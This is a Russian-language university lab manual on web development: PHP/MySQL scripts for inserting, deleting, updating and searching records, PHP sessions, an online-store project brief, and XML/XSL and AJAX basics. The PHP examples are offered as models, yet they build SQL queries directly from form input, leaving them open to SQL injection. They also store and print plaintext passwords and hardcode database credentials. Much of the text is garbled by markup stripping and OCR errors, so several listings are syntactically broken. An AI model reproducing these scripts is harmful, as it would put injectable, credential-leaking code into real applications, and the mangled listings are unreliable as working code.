//Отобразить данные из БД на web-странице в виде таблицы 

$table = " 

"; 

$table.=""; 

$table .= " 

№"; 

$table .= " 

Пользователь"; 

$table .= " 

Пароль"; 

$table .= " 

"; 

while (list($id,$user,$pass) = mysql_fetch_array($result)) 

{ 

$table .= ""; 

$table .= " 

".$id.""; 

$table .= " 

".$user.""; 

$table .= " 

".$pass.""; 



 

$table .= " 

"; 

$table .= " 

"; 

} 

$table .= " 

"; 

echo $table; 

?>  

 

Выносим управляющий код во внешний файл. 

Вынесем php код в отдельный файл, с названием db_connect.php и добавим его на 

каждую страницу сайта при помощи: 

 <?php 

include ("blocks/db_connect.php"); 

?> 

Добавление записей в БД 

Необходимо создать HTML-файл, в котором размещены формы для ввода 

необходимых записей: 

f_insert.html 

Введите данные в свободные поля 

Введите №: 

Введите имя: 

Введите пароль: 

Затем создать файл .php, который позволяет произвести добавление записей в БД: 

Insert.php 

<?php 

$id_add=$_POST['add_id']; 

$user_add=$_POST['add_user']; 

$pass_add=$_POST['add_pass']; 

 

if (trim($id_add) and trim($user_add) and trim($pass_add)) 

{ 

$connect = mysql_connect("localhost", "user_1", "12345") 

or die("Could not connect".mysql_error()); 

echo "Connected successfully"; 

mysql_select_db("site_new",$connect); 

$result = mysql_query("INSERT INTO userlist(id,user,pass) VALUES('$id_add', 

'$user_add', '$pass_add')"); 

if ($result==true) 

{ 

echo " 

Данные успешно внесены 

"; 

} 

else 

{ 

echo " 

Ошибка при добавлении данных 

"; 

} 



 

mysql_close($connect); 

} 

else 

{ 

echo "<div align=center> <div class=error>Заполните все поля и повторите вводdiv> 

div>"; 

} 

?> 

 

Удаление записей из БД 

f_delete.html 

Введите имя, которое необходимо удалить 

 

Удаление записи:  

 

Delete.php 

<? 

$user_y=$_POST['del_user']; 

//Connect to DB 

$connect = mysql_connect("localhost","user_1", "12345"); 

mysql_select_db("site_new",$connect); 

//End connect 

$result = mysql_query("DELETE FROM userlist WHERE id=$user_y"); 

if ($result==true) 

{ 

echo " 

Данные успешно удалены 

"; 

} 

else 

{ 

echo " 

Ошибка при удалении данных 

"; 

} 

mysql_close(); 

?> 

 

html> 

Форма изменения существующей записи: 

f_update.php 

Заполните свободные поля, изменив необходимую запись 

Номер: 

Имя: 

пароль: 

Изменить"> 

 

<? 

$connect = mysql_connect("localhost", "user_1", "12345") 

or die("База данных не подключена"); 

mysql_select_db("site_new",$connect); 



 

$sql = "SELECT * FROM userlist"; 

$result = mysql_query($sql) or die(mysql_error()); 

$table = " 

$table .= ""; 

$table .= " 

Номер"; 

$table .= " 

Имя"; 

$table .= " 

Пароль"; 

$table .= " 

"; 

while (list($id,$user,$pass) = mysql_fetch_array($result)) 

{ 

$table .= ""; 

$table .= " 

".$id.""; 

$table .= " 

".$user.""; 

$table .= " 

".$pass.""; 

$table .= " 

"; 

$table .= " 

"; 

} 

$table .= " 

"; 

echo $table; 

mysql_close(); 

?> 

 

Update.php 

<? 

$id_new=$_POST['id_up']; 

$user_new=$_POST['user_up']; 

$pass_new=$_POST['pass_up']; 

 

 

if (trim($id_new) and trim($user_new) and trim($pass_new)) 

{ 

$connect = mysql_connect("localhost","user_1", "12345"); 

mysql_select_db("site_new",$connect); 

//End connect 

$result = mysql_query("UPDATE userlist SET user='$user_new', pass='$pass_new' 

WHERE id='$id_new'"); 

if ($result) 

{ 

echo " 

Данные успешно обновлены 

"; 



 

} 

else 

{ 

echo " 

Ошибка при обновлении данных 

"; 

} 

//Disconnect 

mysql_close(); 

} 

?> 

 Пример 1. Пример работы расширения MySQL 

<?php 

/* Соединение, выбор БД */ 

$link = mysql_connect("mysql_host", "mysql_user", "mysql_password") 

or die("Could not connect"); 

print "Connected successfully"; 

mysql_select_db("my_database") or die("Could not select database"); 

 

/* Выполнение SQL query */ 

$query = "SELECT * FROM my_table"; 

$result = mysql_query($query) or die("Query failed"); 

 

/* Печать результатов в HTML */ 

print " 

\n"; 

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { 

print "\t\n"; 

foreach ($line as $col_value) { 

print "\t\t 

$col_value\n"; 

} 

print "\t 

\n"; 

} 

print " 

\n"; 

 

/* Освобождение resultset */ 

mysql_free_result($result); 

 

/* Закрытие соединения */ 

mysql_close($link); ?> 

Примеры исходных файлов на PHP: 

 

 

Рассмотрим примеры скриптов для добавления, удаления, редактирования и 

поиска данных в базе данных со следующими полями: 

Имя - user_name 

телефон - phone 

фотография - img (имя файла, который находится в каталоге foto/) 



 

Скрипт обработки загружаемых данных. 

Перед подключение к БД нужно получить переменные посланные методом GET 

$stud=$_GET['student']; 

$name=$_GET['username']; 

 

<?php 

/* Определяем значения переменным */ 

$hostname="localhost"; 

$username="Ваш_логин"; 

$password="Ваш_пароль"; 

/* Имя базы данных */ 

$dbName="Имя_вашей_базы_данных"; 

/* Имя таблицы */ 

$usertable="Имя_таблицы"; 

/* Создать соединение с MySql*/ 

MYSQL_CONNECT($hostname,$username,$password) OR DIE("Не могу 

подсоединиться"); 

/* Выбор БД */ 

MYSQL_SELECT_DB($dbName) or die("Не могу выбрать БД"); 

/* Введение информации в БД */ 

$query="INSERT INTO $usertable VALUES ('$user_name','$phone','$img')"; 

$result=MYSQL_QUERY($query); 

/* Закрыть соединение */ 

MYSQL_CLOSE(); 

print "Запись введена в БД! 

"; 

?> 

 

Скрипт обработки поискового запроса 

 

<?php 

$hostname="localhost"; 

$username="Ваш_логин"; 

$password="Ваш_пароль"; 

$dbName="Имя_вашей_базы_данных"; 

$usertable="Имя_таблицы"; 

/* Создать соединение с MySql*/ 

mysql_connect($hostname,$username,$password) or die("No connect"); 

mysql_select_db("$dbName") or die("No select DB"); 

/* Выбрать людей, имена которых начинаются на $usr_name */ 

$query="select * from $usertable where user_name like '$user_name%'"; 

$result=mysql_query($query); 

/* Сколько нашлось таких сотрудников? */ 

$number=mysql_numrows($result); 

/* Распечатка выбранных сотрудников */ 

$i=0; 

if ($number == 0) 

{ 

print "Нет данных о $user_name в БД  

"; 

} 



 

elseif ($number > 0) 

{ 

while ($i < $number) 

{ 

/* Присвоение переменным значений полей user_name, phone, img для i-й 

строки */ 

$user_name=mysql_result($result,$i,"user_name"); 

$phone=mysql_result($result,$i,"phone"); 

$img=mysql_result($result,$i,"img"); 

/* Вывод найденных значений */ 

print " 

";<?php 

$hostname="localhost"; 

$username="Ваш_логин"; 

$password="Ваш_пароль"; 

$dbName="Имя_вашей_базы_данных"; 

$usertable="Имя_таблицы"; 

mysql_connect($hostname,$username,$password) or die("No connect"); 

mysql_select_db("$dbName") or die("No select DB"); 

/* Удаление записи для поля user_name */ 

$query="delete from $usertable where user_name='$user_name'"; 

$result=mysql_query($query); 

print "Запись удалена  

"; 

?> 

 

Скрипт редактирования данных 

 

<?php 

$hostname="localhost"; 

$username="Ваш_логин"; 

$password="Ваш_пароль"; 

$dbName="Имя_вашей_базы_данных"; 

$usertable="Имя_таблицы"; 

mysql_connect($hostname,$username,$password) or die("No connect"); 

mysql_select_db("$dbName") or die("No select DB"); 

/* Выбор записи по полю user_name */ 

$query="select * from $usertable where user_name='$user_name'"; 

$result=mysql_query($query); 

/* Определение существования выбранной записи */ 

$number=mysql_numrows($result); 

if ($number==0) 

{ 

print "Нет такой записи! 

"; 

} 

else 

{ 

/* Если запись выбрана из базы данных, вывести все ее поля в форму для 

редактирования и удалить ее */ 

$phone=mysql_result($result,0,"phone"); 



 

$img=mysql_result($result,0,"img"); 

} 

?> 

Скрипт для загрузки отредактированых данных 

<?php 

hostname="localhost"; 

$username="Ваш_логин"; 

$password="Ваш_пароль"; 

$dbName="Имя_вашей_базы_данных"; 

$usertable="Имя_таблицы"; 

/* Создать соединение */ 

MYSQL_CONNECT($hostname,$username,$password) OR DIE("Не могу 

подсоединиться"); 

/* Выбор БД */ 

MYSQL_SELECT_DB($dbName) or die("Не могу выбрать БД"); 

/* Введение информации в БД */ 

$query="INSERT INTO $usertable VALUES ('$user_name','$phone',''$img')"; 

$result=MYSQL_QUERY($query); 

/* Закрыть соединение */ 

MYSQL_CLOSE(); 

print "Запись введена в БД!  

"; 

?> 

Организация связей между таблицами базы данных в PHPMyAdmin 

Для того, чтобы связать таблицы по полям, необходимо сначала добавить в 

индекс связываемые поля: В phpmyadmin выбираем таблицу, выбираем режим 

структуры, выделяем поле, для которого будем делать внешнюю связь и кликаем 

Индекс. 

 
Обратите внимание на разницу между "Индекс" и "Уникальный". Уникальный 

индекс можно 

использовать, например, до поля id, то есть там, где значения не повторяются. 

Это же действие можно сделать с помощью SQL-запроса: 

ALTER TABLE `table_name` ADD INDEX ( `field_name` ) ; 

Аналогично добавляем индекс (только в моем случае теперь уже уникальный или 

первичный) для таблицы, на которую ссылаемся, для поля id. Поскольку поле id у меня 

идентификатор, для него делаем первичный ключ. Уникальный ключ мог бы 

понадобится для других уникальных полей. 
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С помощью SQL-запроса: 

ALTER TABLE `table_name` ADD UNIQUE (`field_name`); 

Теперь осталось только связать таблицы. Для этого кликаем внизу на пункт 

Связи: 

 
Теперь для доступных полей (а доступны только проиндексированные поля) 

выбираем связь с внешними таблицами и действия при изменении записей в таблицах: 

 

Через SQL-запрос: 

ALTER TABLE `table_name` ADD FOREIGN KEY ( 

`field_in_table_name_which_need_connect` )REFERENCES `outer_table_to_connect` 

(`outer_field`) ON DELETE RESTRICT ON UPDATERESTRICT ; 

Задание 2: 

Построить физическую схему БД. 

Создать скрипт для подключения и создания одной из таблиц, а также добавления 

тестовых записей в таблицу. 

Создать страницу и php-скрипт для выполнения одного из действий в 

соответствии с номером варианта (реализовать можно это на одной странице): 

 добавления новой записи в таблицу; 

 редактирования записи в таблице; 

 удаления записи из таблицы. 

 Дополнительное задание: 

 создайте базу данных «Поликлиника», состоящую из 2-3 таблиц; 
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 организуйте связи между таблицами БД; 

 заполните таблицы информацией; 

 отобразите данные таблицы на странице; 

 осуществите выборку данных из БД. 

 

Вопросы к защите лабораторной работы 

 общие сведения о SQL; 

 стандартную поддержку баз данных в PHP; 

 вводную информацию о сервере MySQL; 

 стандартные функции PHP для работы с MySQL; 

 реализацию простейшей поисковой системы; 

 сортировку таблиц; 

 общие сведения об ODBC; 

 стандартные функции PHP для работы с ODBC; 

 взаимодействие с Microsoft Access в PHP; 

 хранение пользовательских данных на web-сайте. 

 



 

4. Лабораторная работа «Отслеживание сеансов (session)» 

 

Цель работы: изучение технологии и получение практических навыков 

отслеживания сеанса пользователя. 

Теоретические сведения 

Сеансом (session) называется период времени, который начинается с момента 

прихода пользователя на сайт и завершается, когда пользователь покидает сайт. В 

течение сеанса часто возникает необходимость в сохранении различных переменных, 

которые бы «сопровождали» пользователя при перемещениях на сайте, чтобы вам не 

приходилось вручную кодировать многочисленные скрытые поля или переменные, 

присоединяемые к URL. 

При входе на сайт пользователю присваивается уникальный идентификатор 

сеанса (SID), который сохраняется на компьютере пользователя в cookie с именем 

PHPSESSJD. Если использование cookie запрещено или cookie вообще не 

поддерживаются, SID автоматически присоединяется ко всем локальным URL на 

протяжении сеанса. В то же время на сервере сохраняется файл, имя которого совпадает 

с SID. По мере того как пользователь перемещается по сайту, значения некоторых 

параметров должны сохраняться в виде сеансовых переменных. Эти переменные 

сохраняются в файле пользователя. При последующем обращении к сеансовой 

переменной сервер открывает сеансовый файл пользователя и ищет в нем нужную 

переменную. В сущности, в этом и заключается суть отслеживания сеанса. Конечно, 

информация с таким же успехом может храниться в базе данных или в другом файле. 

Рассмотрим процесс отслеживания сеанса более подробно. Первое - сеанс 

инициируется функцией session_start( ). 

Функция session_start( ) имеет двойное назначение. Сначала она проверяет, начал 

ли пользователь новый сеанс, и если нет — начинает его. Синтаксис функции 

session_start( ): 

boolean session_start() 

Если функция начинает новый сеанс, она выполняет три операции: назначение 

пользователю SID, отправку cookie и создание файла сеанса на сервере. Второе 

назначение функции заключается в том, что она информирует ядро РНР о возможности 

использования в сценарии, в котором она была вызвана, сеансовых переменных. 

Если сеанс можно создать, значит, его можно и уничтожить. Это делается 

функцией session_destroy(). 

Функция session_start( ) возвращает TRUE независимо от результата. 

Следовательно, проверять ее в условиях if или в команде die( ) бессмысленно. 

boolean session_destroy( ) 

Пример использования функции: 

<? 

session_start( ); 

// Выполнить некоторые действия для текущего сеанса 

session_destroy( ): 

?> 

Теперь вы умеете уничтожать сеансы, и мы можем перейти к работе с сеансовыми 

переменными. Возможно, самой важной сеансовой переменной является SID 

(идентификатор сеанса). Его легко можно получить при помощи функции session_id( ). 

session_id( ) 

Функция session_id( ) возвращает SID для сеанса, созданного функцией 

session_start( ). Синтаксис функции session_id( ): 



 

string session_id ([string sfd]) 

Если в необязательном параметре передается идентификатор, то значение SID 

текущего сеанса изменяется. Однако следует учитывать, что cookie при этом заново не 

пересылаются. Пример: 

<? 

session_start() 

print "Идентификатор сессии = " . sessionjd( ): 

session_destroy( ): 

?> 

Результат, выводимый в браузере, выглядит примерно так: 

Идентификатор сессии = 067d992a949114ee9832flcllcafc640 

Сеансовая переменная создается с помощью функции session_register( ). 

session_register( ) 

Функция session_register( ) регистрирует имена одной или нескольких 

переменных для текущего сеанса. Синтаксис функции session_register( ): 

boolean session_register (mixed имя_переменной1 [, mixed имя_переменной2... ]) 

Следует помнить, что регистрируются не переменные, а их имена. Если сеанс не 

существует, функция session_register( ) также неявно вызывает session_start( ) для 

создания нового сеанса. 

Проверить зарегистрирована ли переменная в сессии можно функцией 

session_is_registered(). session_is_registered( ) 

Часто требуется определить, была ли ранее зарегистрирована переменная с 

заданным именем. Задача решается при помощи функции session_is_registered( ), 

имеющей следующий синтаксис: 

boolean session_is_registered (string имя_переменной) 

Применение функций session_register( ) и session_is_registered( ) будет 

продемонстрировано на классическом примере использования сеансовых переменных 

— счетчике посещений (листинг 1). 

Листинг 1. Счетчик посещений сайта пользователем 

<? 

session_start( ): 

if (! sessionjs_registered('hits')) : 

session_register( 'hits' ) ; 

endif ; 

$hits++: 

print "You've seen this page $hits times. 

?> 

Сеансовые переменные удаляются применением функции session_unregister( ). 

session_unregister( ) 

Ниже приведен ее синтаксис: 

boolean session_unregister (string имя_переменной') 

При вызове функции передается имя сеансовой переменной, которую вы хотите 

уничтожить. 

<? 

session_start() 

session_register('username'); 

// Использовать переменную $username. 

// Когда переменная становится ненужной - уничтожить ее. 

session_unregister('username'); 

session_destroy(); 

?> 



 

Как и в случае с функцией session_register указывается не сама, а имя переменной. 

session_encode( ) 

Функция session_encode( ) обеспечивает чрезвычайно удобную возможность 

форматирования сеансовых переменных для хранения (например, в базе данных). 

Синтаксис функции session_encode( ): 

boolean session_encode( ) 

В результате выполнения этой функции все сеансовые данные форматируются в 

одну длинную строку, которую можно сохранить в базе данных. 

Пример использования session_encode( ) приведен в листинге 2. Предположим, 

что на компьютере «зарегистрированного» пользователя имеется cookie, в котором 

хранится уникальный идентификатор этого пользователя. Когда пользователь 

запрашивает страницу, содержащую листинг 2, UID читается из cookie и присваивается 

идентификатору сеанса. Мы создаем несколько сеансовых переменных и присваиваем 

им значения, после чего форматируем всю информацию функцией session_encode( ) и 

заносим в базу данных MySQL. 

Листинг 2. Использование функции session_encode( ) для сохранения данных в 

базе данных MySQL 

<? 

// Инициировать сеанс и создать сеансовые переменные 

session_register('bgcolor'); 

session_register('fontcolor'); 

// Предполагается, что переменная $usr_id (с уникальным идентификатором 

пользователя) хранится в cookie 

// на компьютере пользователя. 

// При помощи функции session_id( ) присвоить идентификатору 

//сеанса уникальный идентификатор пользователя (UID), хранящийся в cookie. 

$id = session_id($usr_id); 

// Значения следующих переменных могут задаваться пользователем на форме 

HTML 

$bgcolor = "white"; $fontcolor = "blue"; 

// Преобразовать все сеансовые данные в одну строку 

$usr_data = session_encode( ); 

// Подключиться к серверу MySQL и выбрать базу данных users 

@mysql_pconnect("localhost", "root", "") or die("Could not connect to MySQL 

server!"); 

@mysql_select_db("users") or die("Could not select user database!"); 

// Обновить пользовательские параметры страницы 

$query = "UPDATE user_info set page_data='$usr_data' WHERE user_id= '$id'"; 

$result - mysql_query($query) or die("Could not update user information!"); 

?> 

Как видно, быстрое преобразование всех сеансовых переменных в одну строку 

избавляет от необходимости создавать несколько полей для хранения/загрузки данных, 

а также несколько уменьшает объем программы. 

session_decode( ) 

Все сеансовые данные, ранее преобразованные в строку функцией session_encode( 

), восстанавливаются функцией session_decode( ). Синтаксис: 

string session_decode (string сеансовые_данные) 

В параметре сеансовые_данные передается преобразованная строка сеансовых 

переменных, возможно — прочитанная из файла или загруженная из базы данных. 

Строка восстанавливается, и все сеансовые переменные в строке преобразуются к 

исходному формату. 



 

В листинге 3 продемонстрировано восстановление закодированных сеансовых 

переменных функцией session_decode( ). 

Предположим, таблица MySQL с именем user_info состоит из двух полей: user_id 

и page_data. Пользовательский UID, хранящийся в cookie на компьютере пользователя, 

применяется для загрузки сеансовых данных, хранящихся в поле page_data. В этом поле 

хранится закодированная строка переменных, одна из которых ($bgcolor) содержит цвет 

фона, выбранный пользователем. 

Листинг 4. Восстановление сеансовых данных, хранящихся в базе данных MySQL 

<? 

// Предполагается, что переменная $usr_id (с уникальным идентификатором 

пользователя) хранится в cookie 

// на компьютере пользователя. 

$id = session_id($usr_id); 

// Подключиться к серверу MySQL и выбрать базу данных users 

@mysq]_pconnect("localhost", "web", "4tf9zzzf") or die("Could not connect to MySQL 

server!"); 

@mysql_select_db("users") or die("Could not select company database!"); 

// Выбрать данные из таблицы MySQL 

$query = "SELECT page_data FROM user_info WHERE user_id= '$id'", 

$result = mysql_query($query); 

$user_data = mysql_result($result, 0, "page_data"); 

// Восстановить данные 

session_decode($user_data): 

// Вывести одну из восстановленных сеансовых переменных 

print "BGCOLOR: $bgcolor"; 

?> 

Как видно из двух приведенных листингов, функции session_encode() и 

session_decode() обеспечивают очень удобные и эффективные сохранение и загрузку 

сеансовых данных. 

Задание: 

Модифицировать результаты лабораторной работы №5 путем добавления 

возможности формирования корзины товаров. Для этого необходимо напротив каждого 

товара установить кнопку (ссылку) «Добавить в корзину». Предусмотреть возможность 

просмотра корзины и ее модификации (добавление, удаление товаров). Осуществлять 

контроль над количеством каждого товара в корзине необязательно. 

 

 

Вопросы к защите лабораторной работы 

1. Чем отличаются cookieотsession? 

2. Основные ограничения, накладываемые на cookie? 

3. Способ создания уникальных идентификаторов в PHP? 

3. Назначение пользовательских функций для хранения сеансовых данных? 
 

5. Лабораторная работа «Создание проекта «Интернет магазин»» 

 

Цель: формулировка целей и концепций сетевого бизнеса, выбор модели сетевого 

бизнеса, оценка целесообразности проекта, создание сайта проекта. 

Задание. Выполнить и оформить описание Интернет-проекта для вашего варианта 

задания в соответствии с планом, представленным ниже. 



 

1. Вид бизнеса. 

Указать к какому виду сетевого бизнеса относится проект. 

2. Выбор цели и концепции сетевого бизнеса 

Указать вариант интеграции в бизнес-процессы компании и соответствующие 

цель и концепцию, а также источники доходов Интернет-проекта (один из 4-х 

вариантов): 

Информационная поддержка существующего неэлектронного бизнеса.  

Организация продаж через Интернет товаров или услуг существующего 

неэлектронного бизнеса.  

Создание Интернет-компании, реализующей товары и услуги исключительно 

через Интернет.  

Рекламная модель.  

3. Выбор модели сетевого бизнеса. 

В зависимости от того, кто будет клиентом компании, указать к какой модели 

сетевого бизнеса относится проект: 

В2В (business-to-business) — бизнес для бизнеса; 

В2С (business-to-consumer) — бизнес, ориентированный на конечного 

физического потребителя; 

С2С (consumer-to-consumer) — бизнес, обеспечивающий взаимодействие между 

большим количеством физических потребителей; 

С2В (consumer-to-business) — системы обработки ценовых заявок, по которым 

потребители хотели бы приобрести товары и услуги; 

В2А (business-to-administration) — бизнес, оперирующий сделками между 

частными компаниями и правительственными организациями (администрацией); 

С2А (consumer-to-administration) — бизнес, построенный на организации 

взаимоотношений физических лиц и государственных служб. 

Кроме того, существует еще целый ряд экзотических моделей, связанных с 

видами бизнеса, построенными на взаимодействиях бизнес-правительство (B2G), 

правительство-граждане (G2C), правительство-правительство (G2G) и т. п., которые не 

будут далее рассматриваться, как не имеющие для российского интернет-рынка 

ощутимого практического значения. 

4. Выбор структуры компании. 

В соответствии с выбранной моделью сетевого бизнеса описать структуру 

компании. 

5. Оценка жизнеспособности бизнес-идеи. 

В соответствии с выбранной моделью сетевого бизнеса, а для В2В модели, еще и 

в соответствии с выбранной концепцией бизнеса оцените целесообразность идеи 

создания Интернет-проекта. 

6. Структура Web-сайта. 

Выполнить описание структуры Web-сайта. 

7. Создание главной страницы Web-сайта. 

Создать главную страницу Web-сайта известными Вам средствами создания 

HTML-документов. При подготовке главной страницы Web-сайта ознакомьтесь в 

Интернет с организацией сайтов аналогичных видов бизнеса и используйте опыт 

наиболее удачных решений. 

Варианты заданий 

1. Интернет-магазин для розничной продажи книг. Фирма уже имеет книжный 

магазин, реализующий книги традиционным способом в розницу.  

2. Интернет-магазин для вновь создаваемой фирмы по оптовой продаже 

медицинского оборудования предприятиям, оказывающим медицинские услуги. 

3. Корпоративный сайт для известной фирмы. 



 

4. Контент-проект по туристической теме. 

5. Рекламное агентство 

6. Дизайн-студия 

7. Интернет-биржа по оказанию логистических услуг юридическим лицам. 

8. Аукцион 

9. Каталог товаров и услуг 

10. Консультационные услуги для юридических лиц в области ИТ 

11. Дистанционное образование 

12. Информационные услуги по предоставлению доступа к удаленным базам данных 

и электронным архивам. 

13. Информационные услуги по проведению исследований и подготовке 

аналитических отчетов по заказу клиента. 

14. Интернет-трейдинг, позволяющий клиентам работать через Интернет на 

некоторых биржах (ММВБ, МФБ и др.) и на рынке Forex. 

15. Интернет-казино. 

16. Услуги хостинга Интернет-провайдера. 

17. Вновь создаваемый Интернет-магазин по продаже компьютеров и программного 

обеспечения частным лицам. 

6. Лабораторная работа «Составление схем XML-документов» 

 

Цель: ознакомиться с XML, научиться разбирать структуру XML-документа; 

ознакомиться с XSL, с помощью XSL научиться выполнять преобразование XML-

документа с одной структурой в XML-документ с другой структурой, в частности, в 

HTML. 

Ход работы: 

1. Изучить теоретическую часть 

2. Выполнить задания в соответствии с указаниями 

3. Ответить на контрольные вопросы 

4. Предъявить преподавателю результаты работы: проект и исходный код 

5. Оформить отчет в соответствии с ходом работы 

Теоретическая часть: 

XML (Extensible Markup Language) - это язык разметки, описывающий целый 

класс объектов данных, называемых XML- документами. Этот язык используется в 

качестве средства для описания грамматики других языков и контроля за 

правильностью составления документов. Т.е. сам по себе XML не содержит никаких 

тэгов, предназначенных для разметки, он просто определяет порядок их создания. 

Cам процесс создания XML документа очень прост и требует от нас лишь 

базовых знаний HTML и понимания тех задач, которые мы хотим выполнить, используя 

XML в качестве языка разметки. Таким образом, у разработчиков появляется 

уникальная возможность определять собственные команды, позволяющие им наиболее 

эффективно определять данные, содержащиеся в документе. Автор документа создает 

его структуру, строит необходимые связи между элементами, используя те команды, 

которые удовлетворяют его требованиям и добивается такого типа разметки, которое 

необходимо ему для выполнения операций просмотра, поиска, анализа документа.  

XML позволяет осуществлять контроль за корректностью данных, хранящихся в 

документах, производить проверки иерархических соотношений внутри документа и 

устанавливать единый стандарт на структуру документов, содержимым которых могут 

быть самые различные данные. Это означает, что его можно использовать при 

построении сложных информационных систем, в которых очень важным является 



 

вопрос обмена информацией между различными приложениями, работающими в одной 

системе. Создавая структуру механизма обмена информации в самом начале работы над 

проектом, менеджер может избавить себя в будущем от многих проблем, связанных с 

несовместимостью используемых различными компонентами системы форматов 

данных.  

XSL является механизмом, который позволяет преобразовать XML-документ с 

одной структурой в XML-документ с другой структурой, в частности, в HTML.  

XSL-документ представляет разновидность XML-документа, который 

используется для представления правил, по которым будет происходить 

преобразование. Правила основаны на совпадении шаблонов, т.е., например, "если 

встретился элемент A, то вставить указанный кусочек HTML-кода и продолжить поиск 

совпадений шаблонов дальше". Все очень похоже на функциональный или логический 

язык программирования: есть рекурсивная и процедурная семантика; например, кроме 

рекурсивных применений шаблонов существует возможность организации циклов ("для 

всех элементов A вставить такой HTML-код").  

Работает все это достаточно просто: для того, что бы преобразовать XML-

документ по XSL-таблице нужно взять XSL-процессор, дать ему на вход два файла и на 

выходе получится результат. XSL позволяет сделать из одного XML-документа другой, 

в частности, HTML. Этот механизм можно использовать для визуализации данных, 

содержащихся в XML. 

Задание №1. Язык разметки XML + CSS 1. Создайте файл XML 

 
2. В результате выполнения будет получено следующее: 



 

 
3. Создайте связь с таблицей стилей. Для этого в начале файла index.xml 

напишите строку 

 
4. Создайте файл содержащий стиль оформления 1.css. 

 
5. В результате выполнения вы должны получить следующее: 

 
 Задание №2. Преобразование XML с помощью XSL 

1. Разработайте структуру XML документа, содержащего информацию о 

работниках организации. Задайте статус работника, имя, страну проживания, 

организацию, заработную плату. Попробуйте задать структуру документа, используя 



 

собственные теги, при этом, можно опираться на образец: 

 
2. Создайте файл lab.xsl , содержащий инструкции по отображению данных в 

документе XML. 



 

 
7. Примерный результат работы  

Список работников 

 

Контрольные вопросы: 

1. Назначение XML?  

2. Назначение CSS? 

3. Назначение XSL? 

4. Что представляет собой шаблонное правило в XSL? 

5. Какие инструкции XSL вы использовали при выполнении лабораторной 

работы? 



 

7. Лабораторная работа «Применение технологии AJAX» 

 

Цель работы: изучение технологии и получение практических навыков создания 

документов без перезагрузки страницы. 

Теоретические сведения 

AJAX (от англ. Asynchronous JavaScript and XML — «асинхронный JavaScript и 

XML») - это подход к построению интерактивных пользовательских интерфейсов веб-

приложений. При использовании AJAX веб-страница не перезагружается полностью в 

ответ на каждое действие пользователя. Вместо этого с веб-сервера догружаются только 

нужные пользователю данные. AJAX — один из компонентов концепции DHTML. 

AJAX базируется на двух основных принципах: 

использование DHTML для динамического изменения содержания страницы; 

использование технологии динамического обращения к серверу «на лету», без 

перезагрузки всей страницы полностью, например: 

с использованием XMLHttpRequest; 

через динамическое создание дочерних фреймов; 

через динамическое создание JavaScript с загрузкой тела script. 

Использование этих двух принципов позволяет создавать намного более удобные 

веб-интерфейсы пользователя на тех страницах сайтов, где необходимо активное 

взаимодействие с пользователем. Использование AJAX стало наиболее популярно после 

того, как компания Google начала активно использовать его при создании своих сайтов, 

таких как Gmail, Google Maps и Google Suggest. Использование AJAX на этих сайтах 

подтвердило эффективность использования данного подхода. 

Сравним стандартный подход и AJAX: 

1) Классическая модель веб-приложения 

Пользователь заходит на веб-страницу и нажимает на какой-нибудь её элемент. 

Браузер формирует и отправляет запрос серверу. 

В ответ сервер генерирует полностью новую веб-страницу и отправляет её 

браузеру и т. д. 

2) Модель AJAX 

Пользователь заходит на веб-страницу и нажимает на какой-нибудь её элемент. 

Скрипт (на языке JavaScript) определяет, какая информация необходима для 

обновления страницы. 

Браузер отправляет соответствующий запрос на сервер. 

Сервер возвращает только ту часть документа, на которую пришел запрос. 

Скрипт вносит изменения с учётом полученной информации (без полной 

перезагрузки страницы). 

Часто сервер передаёт не готовый HTML-код, а только данные; а HTML-

элементы создаются исходя из этих данных, с использованием методов модификации 

DOM. При этом в качестве формата передачи данных обычно используется XML 

Использование объекта XMLHttpRequest) 

Разберёмся с возможностями, которые предоставляет нам объект 

XMLHttpRequest. Попробуем реализовать на JavaScript работу с удаленным сервером 

посредством прямой отправки http-запросов и обработкой ответов. Объект 

XMLHttpRequest, который позволяет посылать HTTP-запросы к удаленному серверу и 

принимать страницу-ответ сервера как в виде текста, так в виде DOM (объектной 

модели документа). 

Впервые объект XMLHttpRequest внедрила в свой Internet Explorer 5 фирма 

Microsoft в виде ActiveX-компоненты. Позже он появился также в Mozilla, Netscape 



 

(начиная с 7-ой версии) , но работает несколько по другому (не в виде ActiveX-

компоненты). 

Методы объекта XMLHttpRequest 

Ниже представлены атрибуты, общие для Internet Explorer 5, Mozilla, Netscape 7 и 

др.: 

abort() – обрывает текущий запрос 

getAllResponseHeaders() - возвращает полный набор заголовков ответа (названий 

и значений) в виде строки; 

getResponseHeader(<headerLabel>) - возвращает строковое значение заголовка, 

название которого указано в параметре <headerLabel>; 

open(<method>, <URL> [, <asyncFlag>[, <userName>[, <password>]]]) – 

Присвоение параметров (метода, URL, и других) текущему запросу; 

send(<content>) - Собственно, "посыл" запроса; 

setRequestHeader(<label>, <value>) - Установка в отправляемом запросе заголовка 

<label> со значением <value>. 

Свойства объекта XMLHttpRequest 

onreadystatechange - событие, возникающее при смене статуса объекта; 

readyState - значения статуса (integer), может принимать следующие значения: 0 = 

неинициализирован (uninitialized); 1 = "идет загрузка" (loading); 2 = "загружен" (loaded); 

3 = "интерактивен" (interactive) 4 = "выполнен" (complete); 

responseText - строка с возвращенными сервером данными; 

responseXML - DOM-совместимый объект-документ с возвращенными сервером 

данными; 

status - стандартный HTTP код статуса, например 404 (для "Not Found") или 200 

(для "OK"); 

statusText - текстовое сообщение статуса. 

Алгоритм использования объекта можно представить следующим образом: 

Создание экземпляра объекта XMLHttpRequest 

Установка для него обработчика события onreadystatechange 

Открытие соединения с указанием типа запроса, URL и прочих параметров. 

Непосредственно отправка запроса. 

Рассмотрим этот алгоритм подробнее. 

1) Создание экземпляра объекта XMLHttpRequest. Здесь как раз зашито то 

разделение в реализации браузеров, о котором говорилось выше. Конструкция создания 

объекта отличается: в IE 5+ она реализована через ActiveXObject, а в остальных 

браузерах (Mozilla, Netscape и Safari) — как встроенный объект типа XMLHttpRequest. 

Итак, вызов для Internet Explorer: 

var req = new ActiveXObject("Microsoft.XMLHTTP"); 

для остальных: 

var req = new XMLHttpRequest(); 

То есть, для обеспечения кроссбраузерности нашего кода, нужно лишь проверять 

наличие объектов window.XMLHttpRequest и window.ActiveXObject, и, в зависимости от 

того, какой есть, тот и применять): 

2) создание обработчика событий и открытие соединения. Эти вызовы выглядят 

просто и одинаково: 

req.onreadystatechange = processReqChange; 

req.open(<"GET"|"POST"|...>, , ); 

Здесь лишь нужно указать нужные параметры, и, конечно же, написать саму 

функцию processReqChange() (о ней ниже). 



 

